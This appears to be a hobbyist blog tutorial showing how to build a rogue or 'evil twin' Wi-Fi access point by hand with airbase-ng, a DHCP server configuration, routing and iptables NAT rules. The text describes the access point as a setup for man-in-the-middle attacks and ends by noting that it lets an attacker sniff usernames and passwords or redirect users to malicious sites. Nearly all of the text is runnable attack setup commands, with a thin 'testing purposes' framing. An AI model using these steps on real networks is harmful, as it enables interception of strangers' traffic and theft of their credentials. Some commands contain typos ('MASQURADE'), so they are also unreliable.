How to manually setup a rogue / fake access point

For some days ago I needed to setup a fake access point (for testing purposes of course), so I decided
to configure every thing manually instead of using automated tools like "easycreds". I'am not saying that tools like "easycreds" are bad, it's just that I like to do things manually instead of using scripts. Once you know the basics of configure every thing manually, you can always make your own script (we will do that some other time).

What is a rogue / fake access point

A simple explanation of a fake AP is: "A wireless access point" that has been created to allow a hacker to conduct a man-in-the-middle-attack.


We will not bother with preforming SSL-Strip, dns-spoofing etc this time, just setting up the Fake AP.

And here are the steps:

I have connected my laptop to the internet with kable  (eth0) and my laptop's wifi card (wlan0) is free for setting up the the fake AP.  

If you have to wireless interfaces (usb dongle), then you can connect one of them to the internet and use the other one to setup a evil AP (Just remember to change the outgoing interface in step 7). 

STEP 1:

Download "Dhcp3-server".

• root@bt:~# sudo apt-get install dhcp3-server

STEP 2: 

Make a backup of the default dhcp config file (the default config file is located under "/etc/dhcp3/dhcpd.conf").

• root@bt:~# mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup

Make and edit the config file

• root@bt:~# nano /etc/dhcp3/dhcpd.conf

Now just add (copy / paste) this in to the config file:

ddns-update-style ad-hoc;

default-lease-time 600;

max-lease-time 7200;

authoritative;

subnet 192.168.0.0 netmask 255.255.255.0 {

        option subnet-mask 255.255.255.0;

        option broadcast-address 192.168.0.255;

        option routers 192.168.0.1;

        option domain-name-servers 8.8.8.8;

        range 192.168.0.130  192.168.0.140;

}

STEP 3:

Put your wifi card in monitor mode and then start airbase-ng.

• root@bt:~# airmon-ng start wlan0

• root@bt:~# airbase-ng -e "the name of the fake ap (SSID)" -c "channel nr" mon0

Her is an example on the last command in step 3:

• root@bt:~# airbase-ng -e FakeAp -c 2 mon0

STEP 4:

Airbase will create a new interface “at0″ you will need to enable it and assign it with an ip address and subnet mask, the ip address you assign to this interface will be the default gateway that you specified in the dhcpd.conf file.

• root@bt:~# ifconfig at0 up

• root@bt:~# ifconfig at0 192.168.0.1 netmask 255.255.255.0

STEP 5:

Add a route 

• root@bt:~# route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.0.1 dev at0

STEP  6:

Specify  the interface you are pointing to using the file we created. 

• root@bt:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0

And now start the dhcp server.

• root@bt:~# service dhcp3-server start

STEP 7 (Final step):

Flush the iptables.

• root@bt:~# iptables --flush 
• root@bt:~# iptables --table nat --flush
• root@bt:~# iptables --delete-chain
• root@bt:~# iptables --table nat --delete-chain
• root@bt:~# iptables -P FORWARD ACCEPT 
• root@bt:~# iptables -t nat -A POSTROUTING -o eth0 -j MASQURADE

(remeber that eth0 is the interface that are alredy connected to the internet, a kabel connection in this case)

• root@bt:~# echo "1" > /proc/sys/net/ipv4/ip_forward

That's it! You can connect to the new access point  with your smart phone, laptop etc and surf the internet like it was a regular hotspot. But and attacker could use this technique to sniff username, passwords, redirect people to malicious sites.